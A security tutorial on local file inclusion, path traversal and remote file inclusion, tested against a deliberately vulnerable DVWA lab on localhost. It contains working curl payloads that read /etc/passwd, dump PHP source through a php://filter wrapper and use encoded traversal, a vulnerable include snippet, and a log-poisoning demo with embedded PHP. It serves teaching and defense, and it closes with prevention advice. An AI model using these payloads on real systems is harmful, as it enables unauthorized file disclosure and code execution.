Local File Inclusion (LFI): Path Traversal, RFI, and File Inclusion Attacks

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package dvwa 2.5-0kali1 on http://127.0.0.1:42001; PHP 8.4 with allow_url_include=Off
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003: LFI, path traversal, and RFI concepts
Privilege Normal user for browser and curl; sudo for dvwa-start if the service is stopped
Scope LFI vs path traversal vs RFI, how unsafe include works, DVWA Low proofs, encoding/normalization obstacles, when LFI is not the same as arbitrary file read, why classic PHP RFI often fails today, limited execution/log-poisoning concepts, Burp workflow, troubleshooting, and prevention. Does not teach Medium/High filter bypass catalogs or production web-shell deployment.
Related guides OS command injection
XSS attack tutorial
Install DVWA on Kali Linux
Short on time?Beta Get the gist of this 9-minute read in seconds, then ask follow-up questions

Local file inclusion (LFI) is a web vulnerability where the application includes or interprets a local file chosen (or influenced) by the attacker. Path traversal and remote file inclusion (RFI) are related, but they are not the same operation.

This lesson uses DVWA File Inclusion at Low on http://127.0.0.1:42001. For modules and levels, use the DVWA learning map.

IMPORTANT
Run these steps only on systems you own or are authorized to test. Keep DVWA on localhost or host-only per rules of engagement. Prefer harmless local files such as /etc/passwd or lab markers. Do not use these techniques against production hosts.

LFI vs path traversal vs RFI

Start with the operation the application performs:

Concept What the application does Typical signal
Path traversal (directory traversal) Opens or reads a filesystem path outside the intended directory (../, absolute paths) File contents or errors from an unexpected path
Local file inclusion (LFI) Includes/interprets an existing local file through an unsafe include (or similar) mechanism Local page/file content appears because of include/require-style logic
Remote file inclusion (RFI) Includes a remote resource when the runtime allows URL-based inclusion Remote content or remote PHP is pulled in

Quick rules:

  • Path traversal is about which path is reached
  • LFI is about include/interpret of a local file
  • RFI is about including a remote resource
  • You can use traversal inside an LFI bug, but ../../etc/passwd alone does not prove the sink is an include

Comparison of path traversal file access, local include, and remote include


How a file inclusion vulnerability happens

In PHP-style apps, a page picker often looks like this:

php
$file = $_GET['page'];
include($file);

What goes wrong:

  • The user controls page
  • The app passes that value into include / require (or a similar loader)
  • The runtime loads whatever file path that string resolves to

On DVWA Low, the File Inclusion module sets $file from $_GET['page'] and later runs include($file). That is the sink you are testing.


Lab setup

Start DVWA if needed:

bash
sudo dvwa-start

When this finishes (or if DVWA was already running), open the site on port 42001.

Then in the browser:

  1. Open http://127.0.0.1:42001
  2. Log in with admin / password
  3. Left menu → DVWA Security → Low → Submit
  4. Left menu → File Inclusion

For Terminal checks, copy PHPSESSID from DevTools and set:

bash
export DVWA_COOKIE='PHPSESSID=your_session_here; security=low'

export prints nothing on success. Confirm the variable:

bash
echo "${DVWA_COOKIE}"

You should see your real PHPSESSID=...; security=low string. Use the curl command for GET queries if you need flag reminders.


Confirm path manipulation

First use a normal page the module expects:

bash
curl -s -H "Cookie: ${DVWA_COOKIE}" \
  'http://127.0.0.1:42001/vulnerabilities/fi/?page=file1.php' \
  | python3 -c 'import sys,re; h=sys.stdin.read(); m=re.search(r"<div class=\"vulnerable_code_area\">(.*?)</div>", h, re.S); t=re.sub(r"<[^>]+>"," ", m.group(1)); print(re.sub(r"\s+"," ",t).strip())'
output
File 1 Hello admin Your IP address is: 127.0.0.1 [ back ]

What this shows:

  • page=file1.php selected an intended local page
  • The app included that file and rendered its content
  • This is your healthy baseline

Change the path next. On this lab, an absolute local file works at Low:

bash
curl -s -H "Cookie: ${DVWA_COOKIE}" \
  'http://127.0.0.1:42001/vulnerabilities/fi/?page=/etc/passwd' \
  | head -n 6
output
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

What this shows:

  • The page parameter changed which file was loaded
  • /etc/passwd content appeared at the top of the response
  • Path manipulation works before you talk about RCE

A relative traversal form such as page=../../../../../../etc/passwd can produce the same class of result when the include path is relative to the script directory.


Demonstrate local file inclusion

The DVWA sink is include($file). Reading /etc/passwd through that include is still LFI, because the application included a local file. The content shows up because PHP treats a non-PHP file mostly as plain text when it has no <?php blocks.

Permissions still matter:

  • You only get files the web process can read
  • On this lab the pool user is _dvwa
  • A missing file, a blocked path, or a private log path simply fails

Create a harmless marker the process can read:

bash
printf 'MARK_LFI_OK\n' > /tmp/lfi-lab-marker.txt

printf writes the file and prints nothing. Include it:

bash
curl -s -H "Cookie: ${DVWA_COOKIE}" \
  'http://127.0.0.1:42001/vulnerabilities/fi/?page=/tmp/lfi-lab-marker.txt' \
  | head -n 1
output
MARK_LFI_OK

The marker appears because the include succeeded for a local path the process can read.

PHP wrappers can also matter in LFI testing. A common benign proof is reading source as base64 instead of executing it:

bash
curl -s -H "Cookie: ${DVWA_COOKIE}" \
  'http://127.0.0.1:42001/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php' \
  | python3 -c 'import sys,re; h=sys.stdin.read(); m=re.search(r"(PD9waH[A-Za-z0-9+/=]+)", h); print(m.group(1)[:96]+"...")'
output
PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmls...

That long PD9waH... string is base64 for the start of file1.php (<?php...). The wrapper returned source bytes through the include path without running that page normally.


Path traversal encoding and normalization

Filters and frameworks often change what you send. Common obstacles:

  • Path normalization collapses or rejects ../
  • Absolute paths behave differently from relative ones
  • The app appends an extension such as .php
  • Encoded separators (%2e%2e%2f) may be decoded once, twice, or not at all

On this Low lab, URL-encoded traversal still resolved:

bash
curl -s -H "Cookie: ${DVWA_COOKIE}" \
  'http://127.0.0.1:42001/vulnerabilities/fi/?page=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd' \
  | head -n 3
output
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Encoding worked here. On hardened levels or real apps it often does not. Treat encoding as a hypothesis to test, not a universal bypass list.


LFI vs arbitrary file read

Do not label every ../../etc/passwd result as LFI.

  • LFI: the sink includes/interprets a local file (include, require, template loaders that execute, and similar)
  • Arbitrary file read: the sink only reads and returns bytes (readfile, file_get_contents, download handlers) without an include-style loader

Both can expose /etc/passwd. Only the include-style sink is LFI. On DVWA File Inclusion, the sink is include, so the /etc/passwd proof is LFI that also demonstrates path control.


Remote file inclusion

Classic PHP RFI needs the runtime to allow URL inclusion. On modern PHP that is uncommon.

On this lab host:

bash
php -i | grep -E '^allow_url_include'
output
allow_url_include => Off => Off

allow_url_include is Off. It has been deprecated since PHP 7.4, so do not treat RFI as a default modern PHP feature.

Try a remote URL on DVWA Low anyway:

bash
curl -s -H "Cookie: ${DVWA_COOKIE}" \
  'http://127.0.0.1:42001/vulnerabilities/fi/?page=http://127.0.0.1:9/x.php' \
  | python3 -c 'import sys; h=sys.stdin.read(); print("root:" in h); print("MARK_LFI_OK" in h); print("vulnerable_code_area" in h)'
output
False
False
False

No remote content appeared. The URL was not included as a remote script. To demonstrate true RFI you need a deliberately configured lab with URL inclusion enabled. This DVWA/PHP setup is the realistic “RFI does not work” outcome.


Can LFI lead to code execution?

LFI is not automatically RCE. Execution needs extra conditions, for example:

  • A local file the attacker can influence
  • Log files that record attacker-controlled strings
  • Uploaded files that later get included
  • Runtime-specific wrappers or handlers

If the included file contains PHP (or another interpreted payload the loader executes), the runtime may run it. If the file is only text, you often get disclosure, not execution.


Log poisoning as a controlled lab concept

Real access-log poisoning needs:

  1. Attacker input stored in a log the web user can read
  2. An LFI sink that includes that log
  3. Log content the runtime will interpret

On this host, /var/log/nginx/access.log is not readable by _dvwa, so a live nginx log poison is not a fair demo. Use a controlled stand-in file instead.

Write a fake log line that contains a tiny PHP echo:

bash
printf 'UA_LINE <?php echo "POISON_EXEC_OK"; ?>\n' > /tmp/lfi-fake-log.txt

Include that file through the LFI sink:

bash
curl -s -H "Cookie: ${DVWA_COOKIE}" \
  'http://127.0.0.1:42001/vulnerabilities/fi/?page=/tmp/lfi-fake-log.txt' \
  | head -n 1
output
UA_LINE POISON_EXEC_OK

What this shows:

  • Attacker-influenced local content was included
  • PHP ran the embedded echo
  • This is a lab model of log poisoning, not proof that every LFI becomes RCE

Clean up when you are done:

bash
rm -f /tmp/lfi-lab-marker.txt /tmp/lfi-fake-log.txt

rm prints nothing when the files are removed.


Burp testing workflow

Use Burp Suite for controlled parameter edits:

  1. Proxy DVWA with intercept off
  2. Open File Inclusion and load file1.php
  3. Find page= in Proxy → HTTP history
  4. Send to Repeater
  5. Change page through a unique marker, /etc/passwd, an encoded traversal, and a remote URL

Compare status, length, and whether file contents appear at the top of the body or inside the page area.


Troubleshooting

Symptom Likely cause Fix / next check
../ seems ignored Filter strips or normalizes traversal Try absolute paths; inspect filtered value; do not assume one bypass
Path looks right but empty body File missing, unreadable, or include failed silently Confirm process user permissions and exact path
App always loads something.php Extension appended or allowlist prefix Test whether your input is a prefix, suffix, or full name
/etc/passwd works but logs fail Log path differs or permissions block the pool user Check distro log locations and readability as the web user
Remote URL does nothing allow_url_include=Off or URL treated as a local path Confirm PHP config; do not assume classic RFI
Base64 wrapper fails Wrapper disabled or filter blocks php:// Confirm wrappers; fall back to direct local files
Medium/High behaves differently DVWA filters change by level Use Low for this lesson; treat higher levels as separate practice

Prevention

Primary fix: do not pass user input into file inclusion.

  • Map user choices to fixed identifiers (file1, file2) and include only allowlisted files
  • If filesystem paths are truly required, canonicalize and enforce a root directory allowlist
  • Disable remote include features you do not need (allow_url_include stays Off)
  • Run the app with least filesystem privilege

Input filters that only delete ../ are incomplete. Prefer allowlists over deny-lists.


Summary

LFI means the application includes or interprets a local file from unsafe input. Path traversal is about escaping the intended directory. RFI is about remote inclusion, and on modern PHP with allow_url_include=Off it often simply fails.

On DVWA Low, a normal file1.php baseline, /etc/passwd through include, a readable marker file, and a controlled poison file show disclosure and conditional execution without treating every traversal as RCE. Keep testing tied to the real sink, then prevent user-controlled includes with allowlisted mappings.


References


Frequently Asked Questions

Is directory traversal the same as LFI?

No. Directory traversal (path traversal) is about reaching a path outside the intended directory. LFI is about including or interpreting a local file through an unsafe include-style mechanism. They often appear together, but they describe different operations.

Why did a remote URL fail for RFI?

Classic PHP RFI usually needs allow_url_include enabled. On modern PHP it is Off by default and deprecated since PHP 7.4, so many labs correctly show no remote inclusion.

Does reading /etc/passwd prove RCE?

No. It proves the application can load a sensitive local file through the vulnerable parameter. Code execution needs additional conditions, such as including attacker-influenced content that the runtime interprets.

Why use a fake log file instead of nginx access.log?

Because the web pool user often cannot read the real access log. A controlled readable file still teaches the include-after-influence idea without inventing a permission path that is not there.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)